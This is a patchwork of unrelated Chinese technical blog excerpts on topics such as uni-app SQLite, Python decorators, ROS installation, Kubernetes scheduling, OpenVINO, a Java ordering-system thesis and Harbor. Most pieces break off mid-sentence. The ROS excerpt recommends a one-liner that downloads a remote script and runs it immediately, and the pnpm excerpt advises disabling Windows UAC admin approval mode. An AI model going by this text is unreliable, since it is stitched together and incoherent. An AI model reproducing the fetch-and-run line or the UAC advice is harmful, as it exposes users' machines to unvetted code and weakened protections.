在实际计算中,如果直接从 DWD 或者 ODS 计算出宽表的统计指标,会存在计算量太大并且维度太少的问题,因此一般的做法是,在 DWM 层先计算出多个小的中间表,然后再拼接成一张 DWS 的宽表。由于宽和窄的界限不易界定,也可以去掉 DWM 这一层,只留 DWS 层,将所有的数据再放在 DWS 亦可。
uni-app是什么东东,这里就不是多讲了,大家可以看下官网:https://uniapp.dcloud.net.cn/。总之以后,但有实体程序,大多用它来书写。SQLite是什么东西?我认为就是一个本地数据库,可以用SQL语句来完成数据库的操作。写本文是为了备忘,也是为积累知识。
一、创建uni-app项目 打开HBuilder,新建一个支持SQLite的项目。具体操作如下:
1、新建一个空项目
选默认模板,就可以了。也就是空的,不要选其他。
2、自动生成项目之后,在左侧找开项目,找到个manifest.json,如图:
这个文件就是项目的配置文件,一定要看好
3、如果你生成的项目,没有AppID,则点“生新获取"。如果有AppID,则直接略过:
操作之后结果,如下图所示,但是注意你生成的AppID可能不一样:
4、在App模块配置之中,选中SQLite,操作如图所示:
这个文件通常是自动保存的,也可以手工保存一下。理论上讲,我们现在已经可以操作SQLite了,但是我们还要先了解一下操作的API;看一下,系统为我们提供那些接口,来操作SQLite
二、操作SQLite的API SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中。它是D.RichardHipp建立的公有领域项目。它的设计目标是嵌入式的,而且已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需要几百K的内存就够了。它能够支持Windows/Linux/Unix等等主流的操作系统,同时能够跟很多程序语言相结合,比如 Tcl、C#、PHP、Java等,还有ODBC接口,同样比起Mysql、PostgreSQL这两款开源的世界著名数据库管理系统来讲,它的处理速度比他们都快。SQLite第一个Alpha版本诞生于2000年5月。 至2023年已经接近有23个年头,SQLite也迎来了一个版本 SQLite 3已经发布。
我们的API,还要记得一个网址:https://www.html5plus.org/doc/zh_cn/sqlite.html,打后之后如图所示:
下面我们先来了解一下这个文档
1、打开数据库
void plus.sqlite.openDatabase(options); 说明: \color{red}说明: 说明:
如果数据库存在则打开,不存在则创建。
参数: \color{red}参数: 参数:
options参数为json类型,包含以下属性:
name: ( String ) 必选 数据库名称 如chatpath: ( String ) 必选 数据库路径 如_doc/chat.dbsuccess: ( SQLiteSuccessCallback ) 可选 打开数据库成功回调函数,回调函数无返回参数。fail: ( SQLiteFailCallback ) 可选 打开数据库失败回调函数 例子:
// 打开数据库 function openDB(){ plus.sqlite.openDatabase({ name: 'first', path: '_doc/test.db', success: function(e){ console.log('openDatabase success!'); }, fail: function(e){ console.
前言:
🤡 作者简介:我是Morning,计算机的打工人,想要翻身做主人 🙈 🙈 🙈
🏠 个人主页:Morning的主页
📕系列专栏::Morning的Python专栏
📞 如果小编的内容有欠缺或者有改进,请指正拙著。期待与大家的交流
🔥如果感觉博主的文章还不错的话,👍点赞👍 + 👀关注👀 + 🤏收藏🤏
目录
一.闭包
1.闭包的必要性
2.定义
3.调用和引用的区别
二.装饰器
1.定义:
2.意义
3.实现方式
4.使用案例
(1)原来思维
(2)使用闭包实现装饰器
三.语法糖
1.简介
2.使用案例
(1)简单的直接使用
(2)有传参
(3)使用函数嵌套进行语法糖传参
3.类与装饰器的使用
(1)装饰类方法
(2)装饰类
一.闭包 在今后的学习中装饰器会起到很大的作用,而装饰器就是基于闭包来实现的。
1.闭包的必要性 在一个函数中如果想要想要使用一个变量,我们最直接的方法就是设置一个全局变量。但是这个变量如果只会使用一两次,那么直到代码进行结束前,那个全局变量一直都会占用着资源,不会被销毁,会浪费资源。
2.定义 一个函数中若要用到另一个函数的参数,则可以通过闭包的形式来实行
顾名思义,闭包(封闭,包含),在下面这段函数中便能体现出来
def A(): a=1 def B(): b=2 print(a) 对于函数闭包而言,某一个函数中用到的变量的作用域,取决于其上层或者本层函数函数的作用域。
对于嵌套函数而言,内层函数中定义的变量是无法在外层函数进行使用的(即在B函数中可以调用a,但是不能在A函数中调用b)
此外可以直接调用函数A(),但是不能调用函数B()
3.调用和引用的区别 调用:会直接从内存中去取出相应的对象执行,代码会直接执行
引用:设置了一个路标,该路标指向某一个内存地址中的对象。此时相当于加载了代码在一个缓存空间内,代码并没有被执行。
提醒:如果在没有返回值return的情况下调用闭包函数时,只会调用外层函数,不会调用内层函数
def Student(): name="susu" age=21 print(f"{name}{age}了") def School(): adress="河北" banji=204 print(name+"在"+adress+"上学") return School s=Student() print(s) #结果见图一 def Student(): name="
在使用 pnpm install(pnpm i),遇到了一个报错 在使用 EPERM: operation not permitted, unlink 'E:\.pnpm-store\v3\files\9e\ 经过咨询和查询,得到解决方案是:
键盘 win + r 打开运行窗口,输入 gpedit.msc找到 计算机配置 => Windows 设置 => 安全设置 => 本地策略 => 安全策略在安全设置中找到 用户账户控制:以管理员批准模式运行所有管理员,双击打开勾选已禁用
本章的前提就是大家都知道动画的基本属性,例如
animation-name、animation-duration、animation-timing-function、animation-delay、animation-iteration-count和animation-direction 属性。
了解更多 animation 相关的内容。
现在制作一个左右抖动的动画效果,效果如下:
在 uniapp 中,可以通过如下两种方式来完成。
1. 直接使用 CSS 动画 1.1 定义动画 @keyframes shakeX { from, to { transform: translate3d(0, 0, 0); } 10%, 30%, 50%, 70%, 90% { transform: translate3d(-10px, 0, 0); } 20%, 40%, 60%, 80% { transform: translate3d(10px, 0, 0); } } .shakeX { animation-name: shakeX; animation-duration: 1s; } 1.2 使用 <view class="box shakeX"></view> <style> .box { width: 100rpx; height: 100rpx; background-color: green; } </style> 效果如下:
该问题是很多人都碰到过的,而我昨天恰巧也碰到了一次,但是用了网上查的各种方法,比如清理缓存、重新加载等方法都不管用,但是阴差阳错之间,我把我的web项目换到了一个可以使用的文件夹中,这个时候问题就解决了。
大家在碰到这种问题时,不妨先试试其他人提供的方法,最后如果还不行就可以按照这种方法尝试一下,如果又看不懂的,欢迎大家留言询问。
问题描述 在使用rabbitMq消费者使用simple模式进行监听时,服务突然自动关闭,事前没有任何的cpu或者内存的报警。
查看关闭服务前的日志发现OOM异常
Consumer thread error, thread abort.
但是一个异常为什么会导致服务关闭呢?
开始看到OOM,我就想着启动参数上加了当发生OOM时生成堆的dump文件,然而查看文件目录,发现并没有看到生成的堆dump文件,这就十分奇怪
问题分析 后仔细看了报错日志
报错位置是org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.AsyncMessageProcessingConsumer#run
@Override // NOSONAR - complexity - many catch blocks public void run() { // NOSONAR - line count if (!isActive()) { return; } boolean aborted = false; this.consumer.setLocallyTransacted(isChannelLocallyTransacted()); String routingLookupKey = getRoutingLookupKey(); if (routingLookupKey != null) { SimpleResourceHolder.bind(getRoutingConnectionFactory(), routingLookupKey); // NOSONAR both never null } if (this.consumer.getQueueCount() < 1) { if (logger.isDebugEnabled()) { logger.debug("Consumer stopping; no queues for "
【关于ROS安装】 由于日益复杂的国际形势,按照wiki官网的ROS安装流程变得相当困难,这里我推荐使用鱼香ROS大佬写的脚本一键傻瓜式安装:
wget http://fishros.com/install -O fishros && . fishros 【关于rosdep失败】 这已经是一个老掉牙的问题了,主要还是因为网络原因导致,这里推荐一个修改软件源的方法来解决。
更换国内镜像源:修改国外镜像源 raw.githubusercontent.com 为国内镜像源 gitee.com
1、直接修改源码文件
(1)第一步
sudo gedit /usr/lib/python2.7/dist-packages/rosdep2/sources_list.py 原文件内容:
DEFAULT_SOURCES_LIST_URL = 'https://raw.githubusercontent.com/ros/rosdistro/master/rosdep/sources.list.d/20-default.list' 更改为:
DEFAULT_SOURCES_LIST_URL='https://gitee.com/ssonic/rosdistro/raw/master/rosdep/sources.list.d/20-default.list' (2)第二步
sudo gedit /usr/lib/python2.7/dist-packages/rosdep2/gbpdistro_support.py 原文件内容:
FUERTE_GBPDISTRO_URL = 'https://raw.githubusercontent.com/ros/rosdistro/master/releases/fuerte.yaml' 更改为:
FUERTE_GBPDISTRO_URL = 'https://gitee.com/ssonic/rosdistro/raw/master/releases/fuerte.yaml' (3)第三步
sudo gedit /usr/lib/python2.7/dist-packages/rosdep2/rep3.py 源文件内容:
REP3_TARGETS_URL = 'https://raw.githubusercontent.com/ros/rosdistro/master/releases/targets.yaml' 更改为:
REP3_TARGETS_URL = 'https://gitee.com/ssonic/rosdistro/raw/master/releases/targets.yaml' (4)第四步
sudo gedit /usr/lib/python2.7/dist-packages/rosdistro/__init__.py 原文件内容:
DEFAULT_INDEX_URL = 'https://raw.githubusercontent.com/ros/rosdistro/master/index-v4.yaml' 更改为:
DEFAULT_INDEX_URL = 'https://gitee.com/ssonic/rosdistro/raw/master/index-v4.yaml' 2、改完之后,再次执行命令
sudo rosdep init 注意:若出现错误,先删除20-default.list 文件
sudo rm /etc/ros/rosdep/sources.
在两个或多个线程会操作到同一个临界区资源的时候,会导致竞态的产生,需要通过线程间同步来避免出现错误,同步的方法有很多种,常使用信号量、互斥量(互斥锁)、事件集等。
一、信号量 每个信号量都有一个信号量值和线程等待队列,信号量值表示有几个线程可以操作此资源,没有一个线程使用此资源,信号量值减1,当为0时,再申请此信号量就会挂起在此信号量的等待队列上。
1、信号量相关函数 rt_err_t rt_sem_init(rt_sem_t sem, const char *name, rt_uint32_t value, rt_uint8_t flag);//静态创建信号量 rt_err_t rt_sem_detach(rt_sem_t sem);//信号量脱离,对于静态创建的信号量 rt_sem_t rt_sem_create(const char *name, rt_uint32_t value, rt_uint8_t flag);//动态创建信号量 rt_err_t rt_sem_delete(rt_sem_t sem);//信号量删除,对于动态创建的信号量 rt_err_t rt_sem_take(rt_sem_t sem, rt_int32_t time);//获取信号量,如果信号量值为0,由time决定等待时间 rt_err_t rt_sem_trytake(rt_sem_t sem);//获取信号量,如果信号量值为0,直接返回 rt_err_t rt_sem_release(rt_sem_t sem);//释放信号量,信号量值加1 rt_err_t rt_sem_control(rt_sem_t sem, int cmd, void *arg);//信号量控制函数,使用相关命令可以复位信号量 2、信号量的创建和删除 静态创建: flag可选RT_IPC_FLAG_FIFO(按获取该信号量的先后顺序)和RT_IPC_FLAG_PRIO(按线程优先级排序)。
rt_err_t rt_sem_init(rt_sem_t sem,//信号量控制块结构体 const char *name,//信号量名称 rt_uint32_t value,//信号量值 rt_uint8_t flag);//挂起的线程排队顺序 删除时使用 rt_sem_detach(rt_sem_t sem)函数。
动态创建: rt_sem_t rt_sem_create(const char *name, rt_uint32_t value, rt_uint8_t flag);//与静态创建的参数意义一样 删除时使用rt_sem_delete(rt_sem_t sem)函数。
卷积神经网络CNN 1 应用领域1 检测任务2 分类和检索3 超分辨率重构4 医学任务5 无人驾驶6 人脸识别 2 卷积的作用3 卷积特征值计算方法4 得到特征图表示5 步长和卷积核大小对结果的影响1 步长2 卷积核 6 边缘填充方法7 特征图尺寸计算与参数共享8 池化层的作用9 整体网络架构10 VGG网络架构11 残差网络12 感受野的作用 特征提取
传统神经网络:参数矩阵很大,训练时间长,
怎么样提特征是最好的方法。
1 应用领域 1 检测任务 2 分类和检索 3 超分辨率重构 4 医学任务 5 无人驾驶 6 人脸识别 2 卷积的作用 特征图:
3 卷积特征值计算方法 每个通道都要去做
多通道分别去做的。
4 得到特征图表示 5 步长和卷积核大小对结果的影响 1 步长 2 卷积核 一般都是3X3以上的。3X3是常见的。
6 边缘填充方法 越往中间的点计算的次数越多,会导致中间的重要,边界的不重要,需要解决这个问题。
加了圈0,如果不是1会影响其他特征。一般是填充一圈。
7 特征图尺寸计算与参数共享 卷积神经网络好训练。
8 池化层的作用 最大池化好:压缩,过滤,缩减的过程
9 整体网络架构 只有带参数的才叫做层。
目录
一、Pod启动典型创建过程
二、调度流程
三、指定调度节点
1.使用nodeName字段指定调度节点
2.使用nodeSelector指定调度节点
2.1给对应的node节点添加标签
2.2修改为nodeSelector调度方式
3.通过亲和性来指定调度节点
3.1节点亲和性
3.2Pod亲和性与反亲和性
3.2.1使用Pod亲和性调度
3.2.2使用Pod反亲和性调度
4.使用污点(Taint) 和 容忍(Tolerations)指定调度节点
4.1污点(Taint) 4.2容忍(Tolerations)
四、cordon 和 drain
五、Pod详解
1.Pod启动阶段(相位 phase)
2. Pod常见状态
3. 如何删除 Unknown 状态的 Pod ?
4. 故障排除步骤
一、Pod启动典型创建过程 Kubernetes 是通过 List-Watch 的机制进行每个组件的协作,保持数据同步的,每个组件之间的设计实现了解耦。
用户是通过 kubectl 根据配置文件,向 APIServer 发送命令,在 Node 节点上面建立 Pod 和 Container。
APIServer 经过 API 调用,权限控制,调用资源和存储资源的过程,实际上还没有真正开始部署应用。这里 需要 Controller Manager、Scheduler 和 kubelet 的协助才能完成整个部署过程。
在 Kubernetes 中,所有部署的信息都会写到 etcd 中保存。实际上 etcd 在存储部署信息的时候,会发送 Create 事件给 APIServer,而 APIServer 会通过监听(Watch)etcd 发过来的事件。其他组件也会监听(Watch)APIServer 发出来的事件。
文章目录 概述1.环境部署预安装环境`openvino`安装ONNX模型转换 2.OpenVINO基础API2.1 初始化2.2 获取设备信息2.3 加载模型2.4 获取模型输入输出信息2.5 模型推理 3.关键代码2.1 图片数据预处理2.4 推理结果后处理2.4.1 NMS2.4.2 score_threshold过滤2.4.3 bbox坐标转换与还原 4.示例代码3.1 未封装3.2 封装成类调用 参考链接 概述 本文档主要描述python平台,使用openvino模块推理YOLOv5导出IR模型的方法。
文档主要包含以下内容:
openvino模块的安装模型格式的说明openvino的基础API接口,包括初始化,模型加载,模型参数获取,模型推理等图片数据的预处理推理结果后处理,包括NMS,cxcywh坐标转换为xyxy坐标等关键方法的调用与参数说明完整的示例代码 1.环境部署 预安装环境 (Windows) Visual Studio 2019Anaconda3 或 MiniConda3 注: 使用openvino需确认CPU型号是Intel的,否则无法使用。
openvino安装 pytorch 1.7.1+cu110onnxruntime-gpu 1.7.0 conda create -n openvino python=3.8 -y conda activate ort pip install torch==1.7.1+cu110 torchvision==0.8.2+cu110 torchaudio==0.7.2 -f https://download.pytorch.org/whl/torch_stable.html pip install onnxruntime-gpu==1.7.0 ONNX模型转换 可通过官方链接下载YOLOv5的官方预训练模型,模型格式为pt.下载链接
YOLOv5官方项目提供了pt格式模型转换为ONNX格式模型的脚本,项目链接
模型导出指令:
python export --weights yolov5s.pt --include openvino 注:导出文件执行指令所需环境安装配置参考官方项目README文档即可,不在赘述。
指令执行完成后,会在yolov5s.pt同级目录下生成名为yolov5s_openvino_model的文件夹,文件夹内包含IR模型文件。文件结构如下:
yolov5s_openvino_model ├── yolov5s.
基于java的网上订餐管理系统设计与实现
I. 引言 A.研究背景和动机 研究背景:
随着互联网的普及和快速发展,传统的餐饮行业逐渐向线上转型。网上订餐系统的设计和实现成为了餐饮行业信息化的重要手段。传统的电话订餐方式存在着很多问题,如订单处理效率低、信息管理混乱等。而基于网上订餐系统的设计和实现,可以提供一种方便、快捷、高效的订餐方式,使得餐饮服务更加智能化和现代化。
近年来,随着餐饮行业的竞争日益激烈,消费者对餐饮服务的需求也不断提升。为了满足消费者的需求,提升餐饮企业的服务水平和效率,网上订餐系统的设计和实现得到了广泛的关注和应用。通过互联网技术,餐饮企业可以更好地与消费者进行互动,优化订单处理流程,提升服务质量,吸引更多的消费者。
此外,随着移动支付和移动终端技术的快速发展,移动端订餐服务逐渐成为了新的需求。消费者可以通过移动终端随时随地进行订餐,进一步提高了订餐的便捷性和实时性。因此,基于网上订餐系统的设计和实现应该具备移动端支持,以满足消费者的多元化需求。
动机:
基于以上研究背景和问题现状,进行基于Java的网上订餐管理系统设计与实现的毕业设计具有以下动机:
提高订单处理效率和准确性:传统的电话订餐方式容易出现订单处理错误和信息混乱等问题。而基于网上订餐系统的设计和实现可以自动化和集中化管理订单信息,提高订单处理效率和准确性。提升服务质量和服务体验:通过网上订餐系统的设计和实现,消费者可以更加方便、快捷地进行订餐操作,提高了服务体验。同时,餐饮企业可以更好地与消费者进行互动,优化订单处理流程,提升服务质量。优化餐饮企业运营和管理:通过网上订餐系统的设计和实现,餐饮企业可以更加精确地统计和分析订单情况,优化菜品配备和采购策略,提高运营效率和管理水平。学习和实践Java语言和相关技术:通过进行基于Java的网上订餐管理系统设计与实现的毕业设计,可以深入学习和实践Java语言、数据库技术、网络技术、软件工程等相关知识和技术,提高软件开发能力。 基于Java的网上订餐管理系统设计与实现的毕业设计具有重要的研究背景和现实动机。通过提高订单处理效率、提升服务质量和服务体验、优化餐饮企业运营和管理等方面的需求,可设计和实现一个功能完善、高效可靠的网上订餐管理系统。同时,该毕业设计还提供了学习和实践Java语言和相关技术的机会,有助于提高相关技能和能力。因此,基于Java的网上订餐管理系统设计与实现的毕业设计具有重要的研究意义和实践价值。
B.目标和意义 基于Java的网上订餐管理系统设计与实现的目标和意义:
目标:
基于Java的网上订餐管理系统设计与实现的目标是提供一个便捷、高效、可定制的在线订餐解决方案,旨在改变传统的餐厅运营模式,提高订餐流程的效率和满意度。具体而言,目标包括:
在线订餐:实现用户通过网站或移动应用进行在线订餐,包括菜品选择、下单、支付等操作,简化传统电话订餐流程。菜品管理:设计一个灵活的菜品管理模块,允许餐厅管理员添加、编辑和删除菜品,并设置菜品的分类、价格等信息。订单管理:实现一个订单管理模块,可以实时查看和处理订单,包括订单状态的更新、取消、结算等操作。用户管理:设计一个用户管理系统,可以管理用户账户、订单信息、收货地址等个人信息,并提供用户身份验证和安全保障机制。数据分析与决策支持:通过系统自动生成的报表和统计图表,为餐厅管理人员提供准确的数据分析和决策支持,以优化运营和资源配置。移动适应性:设计并实现一个响应式的网站和移动应用界面,能够适应不同设备(如台式机、笔记本、平板、手机)的访问需求。 意义:
基于Java的网上订餐管理系统设计与实现具有重要的实际意义和社会价值。
提高运营效率:通过在线订餐系统的实现,提高了餐厅的运营效率。用户可以方便地浏览菜品、下单和支付,无需电话沟通,减少了订餐流程中的等待时间和误解,提高了餐厅的服务效率。扩大销售渠道:通过网上订餐系统的建立,餐厅可以拓展销售渠道,吸引更多潜在客户,扩大市场份额。同时,系统提供的在线支付和结算功能,也方便了餐厅的财务管理。提高服务质量:通过菜品管理模块的设计和实现,餐厅可以提供更丰富、更精致的菜品选择,满足不同客户的需求。同时,用户可以自主选择配送方式和支付方式,提高了服务的灵活性和个性化。简化管理流程:传统的餐厅管理流程通常繁琐而费时,借助网上订餐管理系统的设计与实现,餐厅管理人员可以简化许多手工和重复工作,提高工作效率,从而将资源更多地聚焦于客户服务上。数据分析与决策支持:通过系统的数据分析功能,餐厅可以更好地了解客户需求和销售情况,为决策制定提供数据支持。例如,根据菜品销售数据调整菜单,或根据用户下单的时间和数量调整餐厅的营业时间和配送服务等。移动适应性:通过响应式网站和移动应用的设计与实现,餐厅可以更好地适应现代消费者的使用习惯,提供更便捷的订餐服务。 基于Java的网上订餐管理系统设计与实现旨在提供一种高效、智能的在线订餐解决方案,具有提高运营效率、扩大销售渠道、提高服务质量、简化管理流程、数据分析与决策支持、移动适应性等重要意义。同时,通过该项目的学习和实践,能够提高Java编程能力和系统设计能力,为未来的职业发展奠定基础。因此,该项目具有深远的实际意义和社会价值。
II. 相关技术和工具 A.Java语言 Java语言是一种面向对象的高级编程语言,由Sun Microsystems(现在是Oracle公司)于1995年发布。它被设计成可移植、可靠、安全和简单易学的语言,以及具有优秀的性能和高效的垃圾回收机制。Java语言旨在为开发者提供一种简单、一致和可扩展的编程模型,使其能够快速构建高效、可靠和可移植的软件应用程序。
Java语言具有以下主要特点和优势:
简单易学:Java语言借鉴了C++语法,但摒弃了C++中的复杂和容易出错的部分。它具有清晰、简洁的语法,易于学习和理解。Java语言还提供了许多内置的工具和库,使得开发者能够快速构建各种应用程序。跨平台性:Java程序是一次编写,到处运行。Java程序在编译后生成的字节码可以在任何支持Java虚拟机(JVM)的平台上运行,而不需要重新编译。这种跨平台能力使得Java成为构建企业级应用程序的理想选择。面向对象:Java语言是一种真正的面向对象编程语言,具有封装、继承和多态等面向对象的概念和特征。这使得Java具有更好的结构化、可读性和可维护性。Java的面向对象模型使其能够更好地模拟现实世界中的问题和需求。内存管理:Java具有自动垃圾回收机制,程序员无需手动管理内存。通过垃圾回收器,Java可以自动识别并回收不再使用的内存资源,避免了内存泄漏和野指针等问题。这使得Java开发者能够更加专注于程序的逻辑和功能,而不必担心内存管理问题。多线程支持:Java提供了强大的多线程支持,使得程序能够同时执行多个任务。多线程可以提高程序的性能和响应能力。Java提供了多种多线程编程模式和工具,使得开发者能够轻松地创建和管理线程,从而构建高效、可扩展的并发应用程序。丰富的类库和API:Java拥有众多的类库和应用程序接口(API),包括各种功能和领域所需的类和方法。这些类库和API极大地简化了程序开发工作,提高了开发效率。Java还提供了许多第三方库和框架,进一步扩展了Java的功能和可操作性。安全性:Java对安全性有着很高的重视,在设计上考虑了各种安全因素,如通过字节码验证、安全管理器等机制来防止恶意代码的执行。Java还提供了内置的异常处理机制,使得开发者能够轻松处理错误和异常情况。分布式计算:Java提供了强大的网络编程功能,使其成为构建分布式计算应用和网络服务的理想语言。Java的分布式计算能力使其在构建大型企业应用程序和互联网应用方面具有广泛的应用。 总的来说,Java语言是一种通用的、高效的、可移植的编程语言,具有强大的功能和良好的安全性。它在各个领域得到广泛应用,特别在Web开发、移动应用开发和企业应用开发领域占据主导地位。同时,Java语言还是学习编程和软件开发的理想选择,因为它的易学性和广泛的应用使得学习资源丰富且机会多样。
B.数据库技术 数据库技术是一种用于存储、管理和操作数据的软件系统。它包括数据库管理系统(DBMS)、数据模型、数据库设计、数据库查询语言、数据库索引、数据库事务、数据库安全性、数据库备份与恢复以及数据库性能优化等多个方面的内容。
首先,数据库管理系统(DBMS)是一种软件工具,用于管理和操作数据库。它提供了定义、创建、修改和访问数据库的功能。DBMS可以实现数据的添加、删除、查询和更新操作,还可以提供数据安全性保护、事务管理、并发控制等功能。
其次,数据模型是描述和组织数据的形式化表示。常见的数据模型包括层次模型、网状模型、关系模型和对象模型等。其中,关系模型是最常用的数据模型,它将数据组织成表格形式,通过定义表格之间的关系来表示数据之间的联系。
此外,数据库设计是指在数据库系统中创建数据库的过程。它涉及到确定数据的结构、属性、关系和约束等。良好的数据库设计可以提高数据查询和操作的效率,减少数据冗余和不一致性。
另外,数据库查询语言是用于查询和操作数据库的语言。常见的查询语言包括结构化查询语言(SQL)和面向对象的查询语言(OQL)。通过查询语言,用户可以方便地对数据库进行查询、过滤、排序等操作。
此外,数据库索引是一种用于加速查询操作的数据结构。它可以帮助数据库系统快速定位需要查询的数据。常见的索引结构包括B树索引、哈希索引和全文索引等。
同时,数据库事务是一系列对数据库的操作,它要么全部执行成功,要么全部回滚。事务可以确保数据库操作的原子性、一致性、隔离性和持久性。
再者,数据库安全性是指保护数据库免受非法访问、损坏和数据泄露的能力。数据库系统提供了用户身份验证、权限管理和数据加密等安全机制,以确保数据的完整性和机密性。
另外,数据库备份与恢复是保护数据库免受数据丢失和系统故障的措施。数据库备份可以将数据库的副本保存到其他存储设备中,以防止数据损坏。当数据库出现故障时,可以通过恢复机制还原数据库到之前的状态。
最后,数据库性能优化是提高数据库系统的查询和操作效率的过程。通过设计良好的数据库结构、优化查询语句和配置合理的索引,可以提高数据库的响应速度和吞吐量。
数据库技术在各个领域都得到广泛应用。在企业中,数据库技术被广泛应用于企业资源计划(ERP)系统、客户关系管理(CRM)系统和供应链管理系统等。在互联网领域,数据库技术被用于支持大规模的数据存储和管理,如社交网络、电子商务和大数据分析等。在科研和教育领域,数据库技术被用于创建和管理科学数据和图书馆资源。
总之,数据库技术是一种重要的软件系统,它包括多个方面的内容,如DBMS、数据模型、数据库设计、查询语言、索引、事务、安全性、备份与恢复以及性能优化等。数据库技术在各个领域都有广泛的应用,提高了数据管理和查询的效率,保护了数据的安全性和完整性,推动了信息化和数字化的发展。
C.GUI技术 GUI技术是指图形用户界面(Graphical User Interface,简称GUI)技术。GUI是一种基于图形的用户界面,使用图形化方式展示信息和用户交互。与命令行界面(CLI)不同,GUI通过点击、拖放、选择等图形化操作方式来实现用户与计算机的交互。
GUI技术包括以下部分:
窗口系统:窗口系统是GUI的重要组成部分,负责管理和处理用户与计算机的交互。窗口系统提供了一系列基本元素,如窗口、按钮、文本框等,用户可以通过这些元素进行交互。常见的窗口系统有Windows、Mac OS X、Linux等。图形渲染:GUI需要将图形元素渲染到屏幕上,以提供可视化的交互界面。图形渲染需要处理各种图形元素,如点、线、矩形、圆形等,以及它们的组合和变换。图形渲染通常由GPU完成,常见的图形渲染API有OpenGL、DirectX等。事件驱动:GUI是事件驱动的,即用户的操作(如点击、拖放、输入等)会触发一系列的事件。事件处理器可以监听这些事件并执行相应的操作,如更新界面、执行计算等。事件驱动模型使得GUI能够快速响应用户操作,并保持系统的流畅性。布局管理:GUI需要合理地组织和展示各种界面元素,以提供清晰、易于使用的用户界面。布局管理负责组织和更新界面元素的位置和大小,常见的布局管理器有流布局、网格布局、定位布局等。控件:控件是GUI的基本元素,用于实现常见的用户交互功能。例如,按钮、文本框、滑块、列表框等都是常见的控件。控件通常由编程语言提供,开发者可以通过编程来创建和控制这些控件。 GUI技术广泛应用于各种领域,包括操作系统、办公软件、浏览器、游戏等。GUI技术的发展经历了多个阶段,从早期的字符界面到现在的触摸屏界面,从简单的按钮和文本框到现在的复杂动画和特效。GUI技术的发展使得计算机更加易于使用,同时也提高了用户的工作效率和生活质量。
III. 系统需求分析与设计 A.系统功能需求 基于Java的网上订餐管理系统设计与实现是为了方便用户通过互联网进行订餐,提高餐厅的运营效率和顾客体验。下面将介绍该系统的主要系统功能需求。
用户注册和登录:
用户注册和登录是网上订餐管理系统的基础功能。该功能要求能够允许用户注册账户、输入用户名、密码等个人信息,并允许用户登录后查看订单和修改个人信息等。菜品浏览和筛选:
菜品浏览和筛选功能是为了方便用户查找和选择自己喜欢的菜品。该功能要求能够展示餐厅提供的所有菜品,并支持用户按照菜品分类、名称、价格等条件进行筛选和查询。菜品详细信息展示:
菜品详细信息展示功能是为了让用户更好地了解菜品的信息,包括菜品的图片、名称、价格、食材、做法等。该功能要求能够展示详细信息,并支持用户留言和评价等交互功能。订单生成和管理:
订单生成和管理功能是网上订餐管理系统的核心功能。该功能要求能够允许用户添加菜品到订单、选择配送方式和时间、填写收货人信息等,并支持用户查看历史订单和取消订单等操作。配送管理和跟踪:
配送管理和跟踪功能是为了方便用户跟踪订单的配送状态和进度。该功能要求能够记录配送员信息、配送时间、状态等,并支持用户通过手机号或订单号查询配送进度。用户管理和权限控制:
用户管理和权限控制功能是为了保证系统的安全性和稳定性。该功能要求能够实现用户角色的区分、权限的控制、密码的加密存储等,防止非法操作和数据泄露等安全问题。报表统计和分析:
报表统计和分析功能是为了帮助餐厅管理人员更好地了解销售情况和做出决策。该功能要求能够实现订单统计、销售额统计、用户行为分析等报表的生成,帮助管理人员了解销售情况和调整经营策略。其他功能:
除了上述核心功能外,还可以添加一些其他辅助功能,如在线客服、优惠活动管理、留言反馈等。 综上所述,基于Java的网上订餐管理系统设计与实现的系统功能需求包括用户注册和登录、菜品浏览和筛选、菜品详细信息展示、订单生成和管理、配送管理和跟踪、用户管理和权限控制、报表统计和分析以及其他辅助功能。通过这些功能,可以提高餐厅的运营效率和顾客体验,为用户提供更加便捷和高效的订餐服务。
B.业务流程分析 基于Java的网上订餐管理系统设计与实现的业务流程分析
随着互联网技术的不断发展,网上订餐管理系统已经成为了人们日常生活中常见的一种订餐方式。这种系统通过互联网技术将餐厅和消费者联系起来,提供便捷的订餐服务。本文将介绍基于Java的网上订餐管理系统设计与实现的业务流程分析。
用户登录与注册业务流程:
centos 7.9 harbor 部署镜像仓库 tags: registry
文章目录 centos 7.9 harbor 部署镜像仓库1. 安装 docker1.1 配置 docker 2. 安装 docker-compose3. 下载 harbor4. 定制配置文件 harbor.yml5. 配置证书5.1 生成证书颁发机构证书5.2 生成服务器证书5.3 向 Harbor 和 Docker 提供证书 6. 部署 harbor7. 测试 1. 安装 docker Docker 安装 1.1 配置 docker $ cat /etc/docker/daemon.json { "exec-opts": ["native.cgroupdriver=systemd"], "log-driver": "json-file", "log-opts": { "max-size": "100m" }, "registry-mirrors": [ "https://hub-mirror.c.163.com", "https://mirror.baidubce.com" ] } 启动 docker
systemctl start docker && systemctl enable docker 2.
目录
前言
封装前的红黑树源码
红黑树模板参数的控制
红黑树结点当中存储的数据
模板参数中仿函数的增加
迭代器的实现
set的模拟实现
map的模拟实现
前言 map/set是基于红黑树的关联式容器,在stl源码中的红黑树实现,用了header节点,使header节点的parent指向红黑树的根,这样实现了迭代器的end()可以自减到红黑树的最右节点,但本文的红黑树未用header节点封装,所以迭代器部分有缺陷,仅供学习stl复用的思想
封装前的红黑树源码 如下红黑树源码也可以封装出map和set,但是会要用到两颗红黑树,为了体现复用的思想,我们显然要用某种方法封装
enum class Colour { RED, BLACK }; template<class K ,class V> struct RBTreeNode { RBTreeNode(const pair<K, V>& kv) : _left(nullptr), _right(nullptr), _parent(nullptr), _kv(kv) , _col(Colour::RED) {} RBTreeNode<K, V>* _left; RBTreeNode<K, V>* _right; RBTreeNode<K, V>* _parent; pair<K, V> _kv; Colour _col; }; template<class K, class V> class RBTree { typedef RBTreeNode<K, V> Node; public: RBTree():_root(nullptr) {} RBTree(const RBTree<K, V>& t) { _root = _copy(t.
1、wxml
<camera class="camera-photo" frame-size="small" device-position="{{devBack}}" flash="off" binderror="error" style="width:{{info.windowWidth}}px;height:{{info.windowHeight}}px;"> <cover-view class="page-flex" style="width:{{info.windowWidth}}px; height:{{info.windowHeight}}px;"> <cover-view style="height:{{info.windowHeight}}px;" class="page-mask page-mask-lr"></cover-view> <cover-view class="page-content" style="height:{{info.windowHeight}}px;"> <cover-view class="page-mask" style="height:{{convasY-60}}px;"></cover-view> <cover-view style="width:{{canvasWidth}}px; height:{{canvasHeight}}px;margin:auto"></cover-view> <cover-view class="page-mask tackPhoto" style="height:{{convasY+60}}px"> <cover-view class="confirm-photo" 